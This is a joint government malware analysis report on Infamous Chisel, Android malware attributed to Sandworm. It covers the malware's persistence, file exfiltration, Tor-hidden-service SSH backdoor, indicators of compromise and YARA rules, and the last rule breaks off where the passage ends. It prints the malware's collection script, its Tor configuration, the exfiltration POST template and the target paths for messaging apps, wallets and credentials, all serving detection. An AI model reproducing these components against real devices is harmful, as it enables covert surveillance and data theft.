National Cyber Security Centre
a part of GCHQ

Communications Security Establishment
Canadian Centre for Cyber Security

Centre de la sécurité des télécommunications
Centre canadien pour la cybersécurité

Australian Government
Australian Signals Directorate

National Cyber Security Centre
PART OF THE GCSB

Infamous Chisel

Malware Analysis Report

31 August 2023

Infamous Chisel

A collection of components associated with Sandworm designed to enable remote access and exfiltrate information from Android phones.

Executive summary

- Infamous Chisel is a collection of components targeting Android devices.
- This malware is associated with Sandworm activity.
- It performs periodic scanning of files and network information for exfiltration.
- System and application configuration files are exfiltrated from an infected device.
- Infamous Chisel provides network backdoor access via a Tor (The Onion Router) hidden service and Secure Shell (SSH).
- Other capabilities include network monitoring, traffic collection, SSH access, network scanning and SCP file transfer.

Overview

The UK National Cyber Security Centre (NCSC), the US National Security Agency (NSA), US Cybersecurity and Infrastructure Security Agency (CISA), US Federal Bureau of Investigation (FBI), New Zealand's National Cyber Security Centre (NCSC-NZ), the Canadian Centre for Cyber Security – part of the Communications Security Establishment (CSE) and Australian Signals Directorate (ASD) are aware that the actor known as Sandworm has used a new mobile malware in a campaign targeting Android devices used by the Ukrainian military. The malware is referred to here as Infamous Chisel.

Organisations from the United Kingdom, United States, Australia, Canada and New Zealand have previously linked the Sandworm actor to the Russian GRU's Main Centre for Special Technologies GTsST.

Malware summary

Infamous Chisel is a collection of components which enable persistent access to an infected Android device over the Tor network, and which periodically collates and exfiltrates victim information from compromised devices. The information exfiltrated is a combination of system device information, commercial application information and applications specific to the Ukrainian military.

The malware periodically scans the device for information and files of interest, matching a predefined set of file extensions. It also contains functionality to periodically scan the local network collating information about active hosts, open ports and banners.

Infamous Chisel also provides remote access by configuring and executing Tor with a hidden service which forwards to a modified Dropbear binary providing a SSH connection.

Other capability includes network monitoring and traffic collection, SSH access, network scanning and SCP file transfer.

Malware details

Metadata

Filename	killer
Description	Infamous Chisel - Process manipulation for netd ELF 32-bit ARM
Size	30160 bytes
MD5	512eb94ee86e8d5b27ec66af98a2a8c4
SHA-1	ad6eb2a7096b0e29cd93b8b1f60052fed7632ab9
SHA-256	5866e1fa5e262ade874c4b869d57870a88e6a8f9d5b9c61bd5d6a323e763e021

Filename	blob
Description	Infamous Chisel - Decompressor and launcher for Tor process ELF 32-bit ARM
Size	2131691 bytes
MD5	2cfa1f3e0467b8664cbf3a6d412916d6
SHA-1	b681a2b64d150a4b16f64455913fbacd97d9b490
SHA-256	2d19e015412ef8f8f7932b1ad18a5992d802b5ac62e59344f3aea2e00e0804ad

Filename	ndbr_armv7l
Description	Infamous Chisel - Multi-call binary with many utilities: dropbear, dropbearkey, ssh, scp, nmap, dbclient, watchdog, rmflag, mkflag ELF 32-bit ARM
Size	328296 bytes
MD5	0905e83411c0418ce0a8d3ae54ad89a6
SHA-1	917db380b22fad02e7f21f11d1b4e8a5ad47c61c
SHA-256	5c5323bd17fd857a0e77be4e637841dad5c4367a72ac0a64cc054f78f530ba37

Filename	ndbr_i686
Description	Infamous Chisel - Multi-call binary with many utilities: dropbear, dropbearkey, ssh, scp, nmap, dbclient, watchdog, rmflag, mkflag ELF 32-bit Intel 80386
Size	450340 bytes
MD5	7e548ef96d76d2f862d6930dcc67ef82
SHA-1	7d11aefc26823712ad8de37489f920fae679b845
SHA-256	3cf2de421c64f57c173400b2c50bbd9e59c58b778eba2eb56482f0c54636dd29

Filename	db
Description	Infamous Chisel - Multi-call binary with many utilities: dropbear, dropbearkey, ssh, scp, nmap, dbclient, watchdog, rmflag, mkflag ELF 32-bit ARM
Size	5593884 bytes
MD5	04d0606d90bba826e8a609b3dc955d4d
SHA-1	ffaeba9a9fb4260b981fb10d79dbb52ba291fc94
SHA-256	338f8b447c95ba1c3d8d730016f0847585a7840c0a71d5054eb51cc612f13853

Filename	db.bz2
Description	Bzip compressed data containing the Infamous Chisel Multi-Call binary (db)
Size	5593884 bytes
MD5	c4b5c8bdf95fe636a6e9ebba0a60c483
SHA-1	cdad1bee2e88581b7fa7af5698293435667d2550
SHA-256	ef466e714d5250e934e681bda6ebdecd314670bb141f12a1b02c9afddbd93428

Filename	td
Description	Standard Tor P2P network application – likely actor compiled ELF 32-bit ARM
Size	5265772 bytes
MD5	1f2c118b29e48cc5a5df46cddd399334
SHA-1	f6368ae2eec8cf46a7e88559f27dbbe4e7c02380
SHA-256	33a2be6638be67ba9117e0ac7bad26b12adbcdf6f8556c4dc2ff3033a8cdf14f

Filename	td.bz2
Description	Bzip compressed data containing the standard Tor P2P network application (td)
Size	1840669 bytes
MD5	452b6c35f44f55604386849f9e671cc0
SHA-1	2df1e320851b26947ab1ea07eaccbd4d3762c68e
SHA-256	001208a304258c23a0b3794abd8a5a21210dfeaf106195f995a6f55d75ef89cd

Filename	tcpdump
Description	Standard Tcpdump utility – likely actor compiled ELF 32-bit ARM
Size	759528 bytes
MD5	4bdf7f719651d9a762d90e9f33f6bb01
SHA-1	500b953d63a0dbdc76dc3f51c32e3acab92f3ddc
SHA-256	140accb18ba9569b43b92da244929bc009c890916dd703794daf83034e349359

MITRE ATT&CK®

This report has been compiled with respect to the MITRE ATT&CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations.

Tactic	ID	Technique	Procedure
Execution	T1569	System Services	Infamous Chisel - `netd` replaces the legitimate `netd`.
Persistence	T1398 (Mobile)	Boot or Logon Initialization Scripts	Infamous Chisel - `netd` replaces the legitimate `netd`.
	T1625 (Mobile)	Hijack Execution Flow	Infamous Chisel - `netd` replaces the legitimate `netd` and is executed by `init` inheriting root privileges.
Privilege Escalation	T1626 (Mobile)	Abuse Elevation Control Mechanism	Infamous Chisel - `netd` executes shell scripts as the root user of the device.
Defence Evasion	T1629 (Mobile)	Impair Defenses	Infamous Chisel - `netd` checks that it is executed by `init` and at the path for the legitimate `netd`.
	T1406 (Mobile)	Obfuscated Files or Information	Infamous Chisel - `blob` decompresses executables from bzip archives.
Credential Access	T1557	Adversary-in-the-Middle	Infamous Chisel - `mDNSResponder` is deployed alongside this malware and could potentially be used for DNS poisoning.
	T1634 (Mobile)	Credentials from Password Store	Infamous Chisel - `netd` scrapes multiple files containing credentials and key information.
	T1040	Network Sniffing	Infamous Chisel - `tcpdump` is deployed alongside this malware and has the ability to sniff network interfaces and monitor network traffic.
Discovery	T1420 (Mobile)	File and Directory Discovery	Infamous Chisel - `netd` enumerates multiple data directories to discover files of interest.
	T1430 (Mobile)	Location Tracking	Infamous Chisel - `netd` collects GPS information.
	T1418 (Mobile)	Software Discovery	Infamous Chisel - `netd` collects a list of installed packages.
	T1426 (Mobile)	System Information Discovery	Infamous Chisel - `netd` collects various system information such as the Android ID and other hardware information.
	T1422 (Mobile)	System Network Configuration Discovery	Infamous Chisel - `netd` collects IP interface configuration information.
	T1421 (Mobile)	System Network Connections Discovery	Infamous Chisel - `netd` performs IP scanning of the local network to discover other devices.
Collection	T1533 (Mobile)	Data from Local System	Infamous Chisel - `netd` automatically collects files from the local system based on a predefined list of file extensions.

Tactic	ID	Technique	Procedure
	T1074.001	Data Staged: Local Data Staging	Infamous Chisel - `netd` creates multiple temporary files in the system to hold collected information.
	T1114.001	Email Collection: Local Email Collection	Infamous Chisel - `netd` exfiltrates files from application and data directories containing communication data.
Command and Control	T1437 (Mobile)	Application Layer Protocol	Infamous Chisel - `db` provides SCP functionality.
	T1521 (Mobile)	Encrypted Channel	Infamous Chisel - `td` is deployed alongside this malware providing a Tor hidden service relaying connections to SSH program.
	T1572	Protocol Tunnelling	Infamous Chisel - `td` is deployed alongside this malware providing a local Socks connection for `db`.
	T1219	Remote Access Software	Infamous Chisel - `db` provides a SSH server and client.
Exfiltration	T1020	Automated Exfiltration	Infamous Chisel - `netd` automatically exfiltrates files at regular intervals.
	T1029	Scheduled Transfer	Infamous Chisel - `netd` automatically exfiltrates files at regular intervals.
Impact	T1489	Service Stop	Infamous Chisel - `netd` replaces the legitimate `netd`.

Functionality

Overview

Infamous Chisel is a collection of multiple components. For `netd`, `killer`, `blob` and `td` functionality can be extrapolated from references between them. The function of other binaries changes depending on the command line parameters that are supplied. It is likely that interaction takes place over the SSH remote shell connection configured by `netd`.

Overview of the components

Filename	Description
`netd`	This component is used to perform automated device information collection and exfiltration.
`killer`	This component kills the malicious `netd` process.
`blob`	This component is executed by `netd` and is responsible for configuring and executing the Tor utility `td`.
`td`	This utility is Tor with no obvious modifications.
`tcpdump`	This utility is tcpdump with no obvious modifications.
`ndbr_armv7l` `ndbr_i686`	These utilities are multi-call containing: `dropbear`, `dropbearkey`, `ssh`, `scp`, `nmap`, `dbclient`, `watchdog`, `rmflag`, `mkflag`. `dropbear` has been modified as described in the section 'Multi-call binaries (Dropbear function modifications)'. ARM and x86 variants.
`db`	This utility is multi-call containing: `dropbear`, `dropbearkey`, `ssh`, `scp`, `nmap`, `dbclient`, `watchdog`, `rmflag`, `mkflag`. `dropbear` has been modified as described in the section 'Multi-call binaries (Dropbear function modifications)'.

Persistence

`netd` is designed to persist on the system by replacing the legitimate `netd` system binary at the path `/system/bin/netd`. This replacement is not carried out by the malware, but it can be extrapolated from the checks that it carries out. This is the only Infamous Chisel component which persists.

When the malicious `netd` is executed, it will check if `init` is the parent process which executed it. This parent process is responsible for creating the processes listed in the script `init.rc`. The malicious replacement `netd` when executed in this way will fork and execute the legitimate process backed up at the path `/system/bin/netd_` passing through the command line parameters. This retains the normal functionality of `netd`, while allowing the malicious `netd` to execute as root. This replacement would require an escalated privilege level to perform.

If it doesn't find itself at the `/system/bin/netd` path, it will fork and set its parent process ID to `1`, also attempting to kill the legitimate `netd` process.

Components

netd

The `netd` component of Infamous Chisel provides the bulk of the custom functionality which the actor deploys. The main purpose of `netd` is to collate and exfiltrate information from the compromised device at set intervals. It uses a combination of shell scripts and commands to collect device information. It also searches multiple directories to which files matching a predefined set of extensions are exfiltrated.

Exfiltration logic

All file exfiltration is performed as detailed in the 'Communications (File exfiltration)' section of this report. Whenever a file is selected for exfiltration, it is MD5-hashed and cross-referenced with a list of previously sent file hashes held in a file at one of three locations supporting different Android versions. The first existing directory path will be used:

- `/sdcard/Android/data/.google.index`
- `/storage/emulated/0/Android/data/.google.index`
- `/storage/emulated/1/Android/data/.google.index`

The file exfiltration is considered complete when the server sends `Success` anywhere in its response. As this exfiltration uses a Hypertext Transfer Protocol (HTTP) POST, this server response is also expected to be HTTP, but this is not explicitly checked for.

The 16 raw bytes of the MD5 are appended to the end of the `.google.index` file, ensuring that the same file isn't sent multiple times. As the `.google.index` file contains raw bytes, without prior knowledge, it would appear to contain random data. The initial allocation size is 256 Kb filled with NULLs providing space for up to a maximum of 16,384 file hashes. All hash entries will be checked for every file prior to exfiltration.

When the end of the `.google.index` file is reached, the position is reset to the start, overwriting the previous hashes. This means if the number of files to exfiltrate from the device exceeds 16,384, files will be sent multiple times.

Information gathering

On execution, the Infamous Chisel `netd` component enters a main loop that executes indefinitely where various timers trigger the execution of different tasks. All timer actions are executed immediately on first execution, and then at the specific intervals.

File and device information exfiltration

Every 86,000 seconds (23 hours, 53 minutes, and 20 seconds) the following actions are performed:

1. File exfiltration from data directories

The following directories are recursively searched for files matching the extensions listed. When a file is found by this search, it is exfiltrated as detailed in the 'Communications (File exfiltration)' section of this report.

File extension list, copied verbatim from the binary:

```
.dat,.bak,.xml,.txt,.ovpn,.xml,wa.db,msgstore.db,.pdf,.xlsx,.csv,.zip,tel
ephony.db,.png,.jpg,.jpeg,.kme,database.hik,database.hik-
journal,ezvizlog.db,cache4.db,contacts2.db,.ocx,.gz,.rar,.tar,.7zip,.zip,
.kmz,locksettings.db,mmssms.db,telephony.db,signal.db,mmssms.db,profile.d
b,accounts.db,PyroMsg.DB,.exe,.kml
```

Directory list:

- `/sdcard`
- `/storage/emulated/0/`
- `/data/media`
- `/data/data/de.blinkt.openvpn`
- `/data/data/org.thoughtcrime.securesms`
- `/data/data/net.openvpn.openvpn`
- `/data/data/org.telegram.messenger`

- /data/data/vpn.fastvpn.freevpn
- /data/data/eu.thedarken.wldonate
- /data/data/com.android.providers.contacts
- /data/data/com.android.providers.telephony
- /data/data/com.google.android.gm
- /data/system/users/0/

Along with other military specific application directories.

2. Information collection script

An information collection script collates various hardware configuration information about the device.

The script is written to the location: `/data/local/tmp/.android.cache.sh` and then executed by `netd` using the command `/system/bin/sh -c /data/local/tmp/.android.cache.sh`

`.android.cache.sh` contains the following shell script:

```
#!/system/bin/sh
system/bin/settings get secure android_id > /data/local/tmp/.aid.cache
system/bin/ip a > /data/local/tmp/.syscache.csv
system/bin/pm list packages > /data/local/tmp/.syspackages.csv
system/bin/getprop > /data/local/tmp/.sysinfo.csv
```

Command	Description	Output filename
`settings get secure android_id`	Returns a hexadecimal string identifying the device uniquely.	.aid.cache
`ip a`	Lists networking information such as IP address, subnet and interface type on a per network interface basis.	.syscache.csv
`pm list packages`	List of installed applications on the device.	.syspackages.csv
`getprop`	Lists various device hardware information such as GPS, battery, manufacturer and language.	.sysinfo.csv

All the information is written to the various files in the `/data/local` directory and exfiltrated, with the exception of the `.aid.cache` file. The `android_id` contained within this file is used to form part of the Uniform Resource Identifier (URI) detailed in the 'Communications' section of this report.

3. File exfiltration from application directories

The `/data/` directory is searched for the application directories:

- com.google.android.apps.authenticator2
- net.openvpn.openvpn
- free.vpn.unblock.proxy.vpnmaster
- com.UCMobile.intl
- com.brave.browser
- com.opera.browser
- com.hisense.odinbrowser
- com.dzura
- com.google.android.apps.docs
- com.sec.android.app.myfiles

- com.microsoft.skydrive
- com.google.android.apps.walletnfcrel
- com.paypal.android.p2pmobile
- com.binance.dev
- com.coinbase.android
- com.wallet.crypto.trustapp
- com.viber.voip
- com.dropbox.android
- com.android.providers.telephony
- com.android.providers.contacts
- com.cxinventor.file.explorer
- com.elinke.fileserver
- org.mozilla.firefox
- com.whatsapp
- org.thoughtcrime.securesms
- org.telegram.messenger
- org.telegram.messenger.web
- com.discord
- com.hikvisionsystems.app
- com.hikvision.hikconnect
- com.skype.raider
- com.google.android.gm
- com.android.chrome
- org.chromium.webview_shell
- keystore

Along with some military application specific directories.

Every file in these directories regardless of type is exfiltrated.

4. Specific file exfiltration

The following files at the absolute paths are exfiltrated:

- /data/local/tmp/.syscache.csv
- /data/local/tmp/.syspackages.csv
- /data/local/tmp/.sysinfo.csv
- /data/system/users/0/settings_ssaid.xml

Along with some military application specific directories.

The files with the extension `.csv` are generated by the malware. The others are application specific files or system configuration information.

Exfiltration of configuration and configuration backup files

Every 600 seconds (10 minutes) the following directories are searched for files of type `.json` or `.json.bak` which are then immediately exfiltrated:

- `/sdcard`
- `/storage/emulated/0/`
- `/data/media`
- `/data/data/de.blinkt.openvpn`
- `/data/data/org.thoughtcrime.securesms`
- `/data/data/net.openvpn.openvpn`
- `/data/data/org.telegram.messenger`
- `/data/data/vpn.fastvpn.freevpn`
- `/data/data/eu.thedarken.wldonate`
- `/data/data/com.android.providers.contacts`
- `/data/data/com.android.providers.telephony`
- `/data/data/com.google.android.gm`
- `/data/system/users/0/`

Along with some military application specific directories.

Local area network scanning

Every 172,000 seconds (1 day, 23 hours, 46 minutes, and 20 seconds) the local area network is scanned.

`netd` has a built-in network scanner that is executed by the command line:

```
netd minmap -i any -noping -o /data/local/tmp/.ndata.tmp/
```

The ping scanner is fairly simplistic and will iterate over the available host IP addresses in the subnet specified by the interface on all available Transmission Control Protocol (TCP) ports. Internet Control Message Protocol (ICMP) scanning is disabled due to the `noping` command line parameter specified.

The scanner also includes a HTTP GET request to elicit responses from ports running a HTTP server. The responses from other ports are also logged.

Note: *This information would facilitate lateral movement within the network and illustrates a clear intention to interact with other nearby hosts.*

On completion of this scan, the `.ndata.tmp` file is moved to the filename `.ndata.csv` in the same directory. This file is exfiltrated immediately, and both files removed from the `tmp` directory.

The contents of this file will appear similar to:

```
INTERFACE = eth0
SOURCE = 192.168.0.2
IP begin = 192.168.0.0
IP end = 192.168.0.255
PORTS =
PING off
SCAN tcp
*******start*scan********

Host 192.168.0.0:
Host 192.168.0.1:
tcp - 135:[
tcp - 139:[
tcp - 443:[
tcp - 445:[
Host 192.168.0.2:
Host 192.168.0.3:
Host 192.168.0.4:
<Remaining hosts omitted for brevity>
```

The following command line parameters are present, but only a small portion is used:

```
-ip, -p, -o, -i, -noping, -udp, -n, -s, -t, -c, -h, --help
```

Command line help is also included:

```
Usage minmap -ip* <ip-addr: 192.168.0.1/ip-range: 192.168.0.0/24> -p*
<port: 80/port-range: 22,25-125/top> -udp <default tcp> -noping <default
yes> -o <out_file> -t <timeout> <-n> -c <try_count> -s <source ip> -i
<interface/any> <-h/--help (print this help)
```

td

The `td` utility provides Tor directory services and is compiled for ARM with no obvious modifications. The configuration for this is generated by the `blob` component, used for Tor management, described in the 'Components (blob)' section, and saved at the path `/data/local/prx.cfg`. This file contains:

```
SocksPort 127.0.0.1:1129 PreferSOCKSNoAuth%sExitPolicy reject *:*
DataDirectory /data/local/prx/
RunAsDaemon 1
HiddenServiceDir /data/local/prx/hs/
HiddenServicePort 34371 127.0.0.1:34371
```

This configuration provides a Socket Secure version 4 (SOCKS4) connection on the local port `1129` enabling the Tor network to be used. The `blob` component uses this for network connectivity checks.

The hidden service port is set to `34371` with the directory for hidden service information being set to `/data/local/prx/hs/`.

During the execution of `td` an `.onion` domain for a hidden service is randomly generated at the path `/data/local/prx/hs/hostname` which is then exfiltrated by `netd`. The `db` component performs further configuration detailed in the 'Multi-call binaries (Watchdog)' section of this report to enable a SSH connection via this `.onion` domain. This gives the actor the ability to create an SSH session by connecting to the hidden service across Tor.

blob

The `blob` component is responsible for configuring Tor services and checking network connectivity. Every 15 seconds the `tmp` directory is checked for the `blob` utility, and if found, it is moved to the `/data/local` directory from the `/data/local/tmp/blob` directory, overwriting any existing version. Every 6,000 seconds (1 hour and 40 minutes) `blob` is then run from the `/data/local` directory.

`netd` executes `blob` which is responsible for configuring and executing Tor services provided by `td`. When run, it performs the following actions:

1. Checks local host for the port `1129` being open, exiting if it is.
2. Checks for the existence of `/data/local/td`. If this is not present, extracts it from `/data/local/td.bz2` (bzip2 compressed data).
3. Creates the configuration file at the path: `/data/local/prx.cfg`. The contents of which are detailed in the 'Components (td)' section above.
4. `td` is executed with this configuration file being supplied with the `-f` command line parameter: `/data/local/td -f /data/local/prx.cfg`.
5. `db` the modified Dropbear SSH utility is checked for at the path `/data/local/db`. If this file is not present, it is extracted from `/data/local/db.bz2`. `db` is then executed immediately after, with no command line parameters being passed.
6. `blob` then enters a loop where it performs a network connectivity check against the domain `www.geodatatool[.]com` connecting on the local SOCKS4 address provided by the `td` utility `127.0.0[.]1:1129` every 3 minutes.
7. It checks the second byte of the response from this domain to be the character `Z` (`0x5a`) to validate a legitimate response has been received from the server. Nothing further is done with the data; this is simply an internet connection check.
8. If this request fails or the server doesn't return the expected data, `blob` terminates the execution of `td`.

tcpdump

The `tcpdump` utility (version `4.1.1)` is compiled for ARM with no obvious modifications. This provides traffic capturing and monitoring functionality via the command line.

Multi-call binaries: db, NDBR_armv7l and NDBR_i686

The `db` utility contains multiple individual utilities which are selected based on the command line parameters supplied:

Utility	Actor	Modified	Description
`dropbear`	No	Yes	Dropbear SSH client with modified authentication functions as described in 'Components (Multi-call binaries: db, NDBR_armv7l and NDBR_i686)'
`dropbearkey`	No	No	Generates SSH keys
`nmap`	Yes	No	Network scanning and mapping utility which appears to be actor developed, as opposed to the open source `Nmap` project
`scp`	No	No	File-copying utility
`watchdog`	Yes	N/A	Creates directories, flag file and sets up the IP Tables rules
`rmflag`	Yes	N/A	Removes the flag file
`mkflag`	Yes	N/A	Creates directories

The command line help for `dropbear`, `dropbearkey`, `nmap` and `scp` can be found in the 'Appendix' section of this report.

`dropbear`, present within `db`, provides secure shell access to the device via the Tor hidden service. IP Tables rules configured allow incoming TCP connections destined for port `34371` through the firewall. The Tor utility executed by `blob` on the device is configured to provide a hidden service on this port, then forward connections to the local `dropbear` instance. The `.onion` address has already been exfiltrated enabling the actor to connect to it. Modifications have been made to `dropbear` authentication mechanisms.

The `scp` utility does not appear to have been modified. The `nmap` utility has the same functionality as the version in `netd` but is executed manually by actor interaction.

The `watchdog`, `rmflag` and `mkflag` utilities appear to be additional actor-created code that has been incorporated to perform some configuration for `dropbear`.

The directory `sessions.log.d` is created under `/data/local/tmp/`, and puts all standard Dropbear files under this directory alongside the custom actor file `remove_file.flag`.

Watchdog

The `watchdog` utility performs setup and executes `dropbear`. This setup includes:

File and directory creation

- `/data/local/tmp/sessions.log.d`
- `/data/local/tmp/sessions.log.d/.ssh`
- `/data/local/tmp/sessions.log.d/.ssh/remove_file.flag`

The `remove_file.flag` file is created containing the string `run` when any of the multi-call utilities run Dropbear. This will be collected and exfiltrated by `netd` giving the actor an indicator that the SSH server is active.

Authorized hosts setup

A host key is placed into the directory:
`/data/local/tmp/sessions.log.d/.ssh/authorized_keys`

IP Tables Rules

`/usr/sbin/iptables` is executed with the parameters:

```
-A INPUT -p tcp --dport 34371 -j ACCEPT -I
```

mkflag

The `mkflag` utility creates the directories and files that `watchdog` creates but does not perform any host file or IP table manipulation, and then runs `dropbear`.

rmflag

The `rmflag` utility deletes `/data/local/tmp/sessions.log.d/.ssh/remove_file.flag`

Modified Dropbear functions

The actor has modified authentication mechanisms in Dropbear.

fill_passwd

The Dropbear function `fill_passwd` is used to verify that a supplied username is a valid account and return information required to process authentication.

The unmodified source code for this can be found in the 'Appendix (Dropbear fill_passwd function)' section of this report.

This function calls multiple Linux library functions, `getpwnam`, `getspnam`, `getpwuid`, but in the modified version actor replacement functions are called instead, each of these are discussed below.

getpwnam

`getpwnam` Linux library function accepts a username and cross-references it with the passwd file usually stored at `/etc/passwd` for the corresponding entry containing the colon concatenated fields:

- `username`
- `user password`
- `user ID`
- `group ID`
- `user information`
- `home directory`
- `shell program`

On most modern systems, an `x` in the `user password` field is used to denote that the password hash is stored in the `/etc/shadow` file that requires root privileges to read. On an Android device, there are typically no such files, so the structure that would usually be retrieved from the `passwd` file is generated instead.

The actor has replaced this function with their own, where if a particular username is seen it returns a hard-coded response. If the expected username is not seen, the `/etc/passwd` file is checked for the corresponding username as normal.

getpwuid

`getpwuid` Linux library accepts a `uid` and returns the corresponding structure above typically from the `/etc/passwd` file. The actor has replaced this function to check for the `uid` of `0xbeef` and return the hard-coded structure detailed above, if found. If `0xbeef` is not seen, it will revert to checking `/etc/passwd`.

getspnam

`getspnam` Linux library function accepts a username and cross-references it with the shadow file usually stored at `/etc/shadow` for the corresponding entry that contains the dollar concatenated fields:

- `id`
- `salt`
- `hash`

Typically on an Android device, this function would return NULL, but the actor replacement function uses the Linux version.

There does not appear to be any modifications other than those detailed above, but there may be other patches implemented.

NDBR

The `NDBR_armv7l` and `NDBR_i686` utilities contain multiple individual utilities compiled for ARM and x86 respectively. They both include the above authentication mechanism modification, although with different credentials, and otherwise appear to be the same.

These utilities also have some functionality overlap with the `VPNFilter` malware but appear to be an evolution.[1]

killer

`killer` is a simple program, the main purpose of which is to terminate `netd`.

It achieves this by performing the following steps:

1. Iterates through all Process Identifiers (PIDs) in the range `2` through to `0x3FFFFF`.
2. Checks the first line of `/proc/<pid>/status` for the string `netd`.
3. Checks the target of the link referenced at `/proc/<pid>/exe` against `netd`.
4. Checks the executable name is not `netd_` (The legitimate backup executed by the malicious `netd`).
5. Terminates the malicious `netd` leaving the legitimate `netd_` running.

[1] https://blog.talosintelligence.com/vpnfilter-part-3/

Communications

netd file exfiltration

When a file is to be exfiltrated, a Transport Layer Security (TLS) connection is initiated to a hard-coded local IP and port.

Note: *This local IP address is likely a local port forward to relay the network traffic over a secure channel, such as a Virtual Private Network (VPN) configured on the device. VPN services are often configured in this way, giving the actor a means to exfiltrate information from the network which blends in with expected encrypted network traffic.*

If a connection to the local IP and port fails, a hard-coded domain is used as a fallback connection. The IP address for this domain is resolved using a request to `dns.google`.

```
POST /dns-query HTTP/1.1
Host: dns.google
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0)
Gecko/20100101 Firefox/47.0
Accept: application/dns-message
Content-Type: application/dns-message
Content-Length:
```

Note: *The hard-coded user agent that relates to a Microsoft Windows operating system would raise suspicion originating from an Android device. But since all the communications are under TLS, it would make inspecting the HTTP headers difficult.*

The following HTTP Post request is used to exfiltrate data:

Data structure

```
POST /server.php?ver=16&bid=%s&type=%d HTTP/1.1
User-Agent: curl/7.47
Host:
Path: %s
Content-Type: application/octet-stream
Content-Length: %d

<Raw File>
```

Android ID	Type: 0 or 1	Base64 encoded file path
Content Length of the encoded file to be exfiltrated	File contents	

- The Android ID is generated by the initial script run, using the command `settings get secure android_id`.
- `Type` denotes the exfiltration type:
  - `0` is used for the file searches, triage script and configurations files.
  - `1` is used for other information such as the Tor domain.

Conclusion

The Infamous Chisel components are low to medium sophistication and appear to have been developed with little regard to defence evasion or concealment of malicious activity.

The searching of specific files and directory paths that relate to military applications and exfiltration of this data reinforces the intention to gain access to these networks. Although the components lack basic obfuscation or stealth techniques to disguise activity, the actor may have deemed this not necessary, since many Android devices do not have a host-based detection system

Two interesting techniques are present in Infamous Chisel:

- the replacement of the legitimate `netd` executable to maintain persistence
- the modification of the authentication function in the components that include `dropbear`

These techniques require a good level of C++ knowledge to make the alterations and an awareness of Linux authentication and boot mechanisms.

Even with the lack of concealment functions, these components present a serious threat because of the impact of the information they can collect.

Detection

Indicators of compromise

Type	Description	Values
`netd` POST Request	C2 communication	`POST /server.php?ver=16&bid=%s&type=%d HTTP/1.1\r\n` `User-Agent: curl/7.47\r\n`
`netd` Paths	Relocated legitimate netd	`/system/bin/netd_`
	IP address information	`/data/local/tmp/.syscache.csv`
	Application list	`/data/local/tmp/.syspackages.csv`
	Getprop output	`/data/local/tmp/.sysinfo.csv`
	Android ID	`/data/local/tmp/.aid.cache`
	Triage shell script	`/data/local/tmp/.android.cache.sh`

	Exfiltrated file hash list location	`/sdcard/Android/data/.google.index`
		`/storage/emulated/0/Android/data/.google.index`
		`/storage/emulated/1/Android/data/.google.index`

`netd_` Process Listing Name	Renamed legitimate netd	`netd_`
`td` Paths	Binary path	`/data/local/td`
	Configuration file path	`/data/local/prx.cfg`
	Configuration file directory	`/data/local/prx`

	Tor generated files	`/data/local/prx/cached-certs`
		`/data/local/prx/cached-microdesc-consensus`
		`/data/local/prx/cached-microdescs`
		`/data/local/prx/cached-microdescs.new`
		`/data/local/prx/lock`
		`/data/local/prx/state`

	Configuration file directory	`/data/local/prx/hs`
	Hidden service path	`/data/local/prx/hs/hostname`
	Public key	`/data/local/prx/hs/hs_ed25519_public_key`
	Private key	`/data/local/prx/hs/hs_ed25519_secret_key`
	Compressed installer file	`td.bz2`
`blob` Paths	Binary path	`/data/local/blob`

Type	Description	Values
`blob` Process Listing Name	Process list entry	`blob`
`killer` Paths	Binary path	`/data/local/killer`
`db` Paths	Binary path	`/data/local/db`
`db` Process Listing Name	Process list entry	`db`
`NDBR_armv7l` Paths	Binary path	`/data/local/NDBR_armv7l`
`NDBR_armv7l` Process Listing Name	Process list entry	`NDBR_armv7l`
`NDBR_i686` Paths	Binary path	`/data/local/NDBR_i686`
`NDBR_i686` Process Listing Name	Process list entry	`NDBR_i686`

Indicators of compromise suspicious in the context of an Android device

Type	Description	Values
`td` Process Listing Name	Process list entry	`td`
`td` Local Port	Port open socks	`127.0.0[.]1:1129`
`td` Local Port	Port open hidden service	`127.0.0[.]1:34371`
`tcpdump` Paths	Binary path	`/data/local/tcpdump`

Type	Description	Values
`tcpdump` Process Listing Name	Process list entry	`tcpdump`
`blob` Domain	Domain communication	`www.geodatatool[.]com`
`db` IP Tables	IP tables	`Port 34371 Present`

Rules and signatures

Description	Unique paths created by `netd`
Precision	High Confidence – no hits in VirusTotal
Rule type	YARA

```
rule netd_CreatedFiles {
  meta:
    author = "NCSC"
    description = "Unique file paths created by netd"
    date = "2023-08-31"
  strings:
    $ = "/data/local/tmp/.aid.cache"
    $ = "/data/local/tmp/.syscache.csv"
    $ = "/data/local/tmp/.syspackages.csv"
    $ = "/data/local/tmp/.sysinfo.csv"
    $ = "/data/local/tmp/.ndata.csv"
    $ = "/data/local/tmp/.ndata.tmp"
    $ = "/data/local/tmp/.android.cache.sh"
  condition:
    uint32(0) == 0x464C457F and any of them
}
```

Description	Application directories strings searched by `netd`
Precision	High Confidence – no hits in VirusTotal
Rule type	YARA

```
rule netd_ScrapedApps {
  meta:
    author = "NCSC"
    description = "Application directories strings searched by netd"
    date = "2023-08-31"
  strings:
    $ = "/data/data/com.android.providers.contacts"
    $ = "/data/data/com.android.providers.telephony"
    $ = "/data/data/com.google.android.gm"
    $ = "/data/data/de.blinkt.openvpn"
    $ = "/data/data/eu.thedarken.wldonate"
    $ = "/data/data/net.openvpn.openvpn"
    $ = "/data/data/org.telegram.messenger"
    $ = "/data/data/org.thoughtcrime.securesms"
  condition:
    uint32(0) == 0x464C457F and all of them
}
```

Description	POST request strings present in `netd`
Precision	High Confidence – no hits in VirusTotal
Rule type	YARA

```
rule netd_Uri {
  meta:
    author = "NCSC"
    description = "POST request strings present in netd"
    date = "2023-08-31"
  strings:
    $ = "POST /server.php?ver=16&bid=%s&type=%d"
    $ = "User-Agent: curl/7.47"
  condition:
    uint32(0) == 0x464C457F and all of them
}
```

Description	db and td path strings found in `netd`
Precision	High Confidence – no hits in VirusTotal
Rule type	YARA

```
rule netd_Paths {
  meta:
    author = "NCSC"
    description = "db and td path strings found in netd"
    date = "2023-08-31"
  strings:
    $ = "/data/local/db"
    $ = "/data/local/prx.cfg"
    $ = "/data/local/td"
  condition:
    uint32(0) == 0x464C457F and all of them
}
```

Description	File extension list string found in `netd`
Precision	High Confidence – no hits in VirusTotal
Rule type	YARA

```
rule netd_FileExtensionString {
  meta:
    author = "NCSC"
    description = "File extension list string found in netd"
    date = "2023-08-31"
